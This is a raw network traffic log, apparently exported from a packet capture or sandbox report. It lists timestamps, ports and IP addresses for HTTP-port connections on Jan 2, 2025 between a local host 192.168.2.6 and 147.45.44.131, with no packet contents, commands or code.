Jan 2, 2025 19:14:18.281945944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.281959057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282016993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282028913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282036066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282041073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282047033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282063961 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.282063961 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.282118082 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.282793999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282809019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282814026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282861948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282867908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282890081 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.282913923 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282927036 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282933950 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282938957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282944918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282948971 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.282949924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282960892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282967091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282983065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282984972 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.282989979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.282994986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283014059 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283015013 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.283044100 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.283099890 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.283761024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283766031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283771992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283803940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283817053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283823967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283828974 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283834934 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.283837080 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.283907890 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.284591913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284624100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284630060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284636021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284739971 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284745932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284758091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284768105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.284771919 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.284817934 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.284873962 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.306183100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306205988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306212902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306225061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306232929 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306247950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306253910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.306284904 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.306346893 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307403088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307446003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307457924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307492018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307519913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307526112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307532072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307537079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307543039 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307549000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307560921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307560921 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307573080 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307672977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307679892 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307686090 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307691097 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307703018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.307713985 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307713985 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307760000 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.307760000 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.308208942 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310026884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310039997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310045958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310134888 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310345888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310357094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310363054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310368061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310381889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310390949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310394049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310399055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310405016 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310410976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310431957 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310432911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310457945 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310478926 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310579062 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310585022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310590982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310596943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310631990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310633898 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310658932 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310705900 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310713053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310719013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310723066 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310774088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310780048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310786963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310798883 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310837984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310843945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310848951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310848951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310854912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310894966 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.310986042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310992002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.310997963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.311008930 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.311014891 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.311022043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.311028004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.311029911 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.311062098 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.311084986 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.321837902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321845055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321851015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321881056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321887016 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321892977 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321892977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.321898937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321904898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.321922064 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.321943045 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.325177908 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.328891993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.328989983 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.329001904 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.329009056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.329014063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.329025984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.329030991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.329046965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.329099894 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.340395927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340403080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340420008 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340434074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340440989 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340447903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340454102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340459108 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.340460062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340514898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.340514898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.340641022 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.340692043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340697050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340712070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340718985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340723991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340801954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340809107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340816021 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340820074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.340833902 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.340976000 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.341136932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341150999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341156006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341161966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341216087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341222048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341228962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341233969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341255903 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.341273069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.341360092 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.341423035 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.342931986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.342937946 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.342950106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.342993975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.342999935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343005896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343015909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343022108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343029022 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343029022 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343122005 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343122005 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343255997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343262911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343285084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343291998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343298912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343303919 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343317032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343317032 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343327999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343346119 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343346119 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343385935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.343688965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343694925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.343854904 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.351237059 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351244926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351250887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351257086 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351270914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351277113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351283073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351288080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351294041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351299047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351305008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351337910 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.351337910 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.351357937 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351363897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351370096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351378918 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.351412058 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.351412058 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.351461887 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.368237019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368244886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368258953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368263960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368269920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368275881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368288040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368293047 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368309021 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.368333101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368338108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368349075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368360043 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.368388891 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368393898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368411064 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.368453979 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.368468046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368474007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368484974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368490934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.368736982 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369095087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369102001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369121075 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369127035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369132996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369138956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369144917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369147062 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369194984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369194984 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369266987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369272947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369285107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369291067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369296074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369302034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369307995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369307995 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369415045 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369641066 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369646072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369663000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369669914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369676113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369682074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369688034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369694948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369699955 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369750977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369751930 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369775057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369780064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369791985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369797945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369834900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369857073 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369875908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369889021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369895935 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369896889 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.369905949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369966984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369978905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369987011 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369991064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369997025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.369999886 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370004892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370016098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370026112 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370052099 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370064020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370070934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370075941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370080948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370085955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370090961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370107889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370115042 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370134115 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370172977 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370178938 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370191097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370194912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370201111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370201111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370207071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370213032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370218039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370220900 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370223999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370230913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370242119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370248079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370270014 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370275974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.370279074 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370279074 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370279074 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.370301008 CET	49734	80	192.168.2.6	147.45.44.131
